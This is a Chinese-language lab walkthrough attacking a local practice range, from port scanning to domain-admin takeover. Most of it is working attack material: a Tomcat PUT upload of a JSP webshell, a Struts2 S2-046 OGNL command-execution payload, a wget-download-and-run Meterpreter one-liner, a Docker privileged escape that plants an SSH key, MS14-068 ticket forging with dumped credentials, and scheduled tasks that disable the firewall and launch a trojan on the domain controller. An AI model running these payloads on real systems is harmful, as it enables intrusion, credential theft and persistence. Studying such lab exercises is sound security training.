前言
靶场,本来准备先打三靶场的的结果环境搭建不起,后面在来补三靶场。
环境搭建
参考这个师傅的环境搭建
拓扑结构
信息搜集
nmap结果
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open http Jetty 9.2.11.v20150529
2002/tcp open http Apache Tomcat 8.5.19
2003/tcp open http Apache httpd 2.4.25 ((Debian))
getshell
Tomcat
CVE-2017-12617
λ searchsploit tomcat 8.x
--------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------- ---------------------------------
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP U | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP U | windows/webapps/42953.txt
--------------------------------------------------------------------- ---------------------------------
这里使用jsp/webapps/42966.py
,输入python3 42966.py -u http://192.168.31.130:2002/ -p pwn
,即可获取shell
不过这个shell用起来不太舒服
CVE-2017-12615
打开http://192.168.31.130:2002/
,然后抓包,发送以下payload成功上传文件。连接密码为passwd
PUT /4.jsp/ HTTP/1.1
Host: 192.168.31.130:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 956
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
蚁剑能成功连接
Struts2
http://192.168.31.130:2001/
是Struts2,使用Struts2-Scan 存在漏洞: S2-046
点击submit进行抓包,可以看到这里的filename正常情况下是为空的
构造payload执行whoami
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
这里需要进行00截断,进入hex将30改为00
然后发包,可以已经执行了whoami并输出了结果
linux上线msf
msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > set target 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 192.168.31.129
msf6 exploit(multi/script/web_delivery) > set lport 4859
msf6 exploit(multi/script/web_delivery) > run
这时会给出一个payload,我这里的为
wget -qO hrMguoMG --no-check-certificate http://192.168.31.129:8080/3n5JdKGX1DxOWi; chmod +x hrMguoMG; ./hrMguoMG& disown
可以看出它的上线逻辑是,从kali上下载木马并且执行,但在这里要做一点小的改动。将payload中的;
修改成&&
修改后的payload为
wget -qO hrMguoMG --no-check-certificate http://192.168.31.129:8080/3n5JdKGX1DxOWi && chmod +x hrMguoMG && ./hrMguoMG& disown
发包上线
phpMyAdmin
直接访问2003就进入了phpmyadmin后台,可以看到版本为: 4.8.1
这里使用CVE-2018-12613,可以参考我的这篇文章,不过这里因为docker环境无法getshell,不再进行复现
docker逃逸
使用ls /.dockerenv
判断是否在docker里面,存在此文件说明在docker里面
目前在docker里面,现在要进行逃逸
使用cat /proc/self/status | grep CapEff
,如果是以特权模式启动的话,CapEff
对应的掩码值应该为0000003fffffffff
那么可以用privileged特权模式逃逸
fdisk -l
,查看磁盘文件
新建目录以备挂载:mkdir /test
将/dev/sda1挂载至 /test: mount /dev/sda1 /test
查看查看宿主机中的文件:cat /test/etc/passwd
目前算逃逸一半了,发现存在ubuntu用户,要想办法ssh过去
ssh-keygen -f rain
生成私钥,一路回车。要赋予600权限chmod 600 rain
复制文件cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
回到kali,cat rain.pub
复制得到的内容,到docker执行下面命令,写进authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqVbRpaZiEHjXxGje/xwX8/Lpr11i6eD9kQ/Bxpn/TMph+XFMujmXmBn0K4zuY7h7oEA/dVuKWJpi5J7ZREMxi3EFNfrOdR6fN+LbNEWP9pYMGVdgIZRLAzZwmgibmjkvxQAfD8Gc91a3QM9AtqiOtc3jxyRaAOhftNYufkw+YAaJSQ5NqFj6zHYcppY2OQ4N0bRs1KOPWKTpqYg36oufD8Yb08fP0bwhPNGIw8JlVwwQKj2CFtOE4D4Ub2rHdDR16G1MxlGjV+PKf0pFSZFUDpKuN71d+SvsnwqKOXVJMxPCvqJHIO64AXJOaEpTJkanp8idDiWE5C4ntQaU/IFgyCdm2EK9c7p02tqcY7GQ7D6fP4tz9Wy7RtZ4JKm6TIDh0/E0I5+GDW7NPQ0ntvYddMKyOp68zgO+u/l2NsZpyo7PYfBErQIL0yY/dYJ3/V8INt3wSI/IcvpZqQhCo0S1Hn4sEf2BFK5vSTpN4f4UxX+J9Wo0ovguHGDM1B9IgvPM= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
成功写进后,ssh -i rain ubuntu@192.168.31.130
就能免密登录了
cs上线linux
使用CrossC2,我是在windows上使用cs的,首先下载genCrossC2.Win.zip和CrossC2.cna。解压放在同一个目录下
编辑CrossC2.cna文件
$CC2_PATH = "D:\\Tools\\Web\\cs插件\\CrossC2\\"; # <-------- fix
$CC2_BIN = "genCrossC2.Win.exe";
再到linux下的cs将.cobaltstrike.beacon_keys
复制粘贴到windows的cs4.3目录中
启动cs加载CrossC2.cna插件后,上面就会多一个CrossC2菜单选项
CrossC2只允许https反弹,所以生成一个https的listener
点击生成https的选项
点击listener旁边的三个点,选择刚刚创建的listener,OutPutFileName 这里我选择将木马文件输出到C:\Users\Lion\Desktop\shell
点击Build后,会在桌面上生成一个shell文件
将shell文件上传到ubuntu后,执行即可上线
ms17-010
cs上线linux就当做一个补充吧,cs上面linux上的后渗透我实在不熟悉,还是转到msf上面
msf上面获取到ubuntu session后,使用run post/multi/manage/autoroute
添加路由
使用auxiliary/scanner/portscan/tcp
对192.168.183.0/24 进行主机存活探测
发现192.168.183.130,192.168.183.129。使用ms17-010。我发现使用msf自动路由过不去。于是传了个工具到ubuntu开启socks5代理。
msf输入setg Proxies socks5:127.0.0.1:1585
,让msf的流量走ubuntu,记得将payload设置为set payload windows/x64/meterpreter/bind_tcp
,然后run,获取到session。
接下来就是标准的域渗透流程了,发现域为demo.com
,使用net user /domain
出现权限受限
这个问题我前面打靶提过,解决办法就是 换成域用户或者提权到system。这里要切换到域用户去
ps
获取进程
steal_token 3016
偷取进程后
现在就可以正常执行了
net view
获取到dc电脑名为\\WIN-ENS2VR5TR3N
。net group "domain admins" /domain
,域管理员为Administrator
MS14-068
MS14-068对应补丁KB3011780,systeminfo | findstr "3011780"
,发现没有打补丁。
先退出来到meterpreter下,rev2self
退回到最初的system权限
使用load kiwi
加载mimikatz,抓取hashkiwi_cmd sekurlsa::logonpasswords
。
获取到sid为S-1-5-21-979886063-1111900045-1414766810-1107
,明文密码为Dotest123
。用户名douser
继续进入shell后来到c:\Users\douser\Desktop,已经为我们准备好了工具。 MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
生成票据
进入mimikatz,kerberos::purge
清空当前票据。kerberos::ptc TGT_douser@demo.com.ccache
,导入票据
dir \\WIN-ENS2VR5TR3N\c$
, 成功访问,提权成功,当前已经拥有域管权限了
横向移动
msfvenom -p windows/meterpreter/bind_tcp LPORT=5864 -f exe -o 1.exe
,先生成一个正向连接的木马。
meterpreter > upload /root/1.exe
将木马传上去后
at \\WIN-ENS2VR5TR3N 20:27:00 cmd.exe /c "netsh advfirewall set allprofiles state off"
这条命令的意思是在 20:27:00执行后面的cmd命令,也就是关闭防火墙
为了不被管理员发现,还要删除计划任务,at \\WIN-ENS2VR5TR3N 5 /delete
,5为计划任务的ID
copy 1.exe \\WIN-ENS2VR5TR3N\c$
,将木马复制到dc上
at \\WIN-ENS2VR5TR3N 20:46:00 cmd.exe /c "c:\1.exe"
,执行后,回到msf界面。
msf6 exploit(multi/handler) > set rhost 192.168.183.130
msf6 exploit(multi/handler) > set lport 5864
msf6 exploit(multi/handler) > run
等到20:46:00后执行木马上线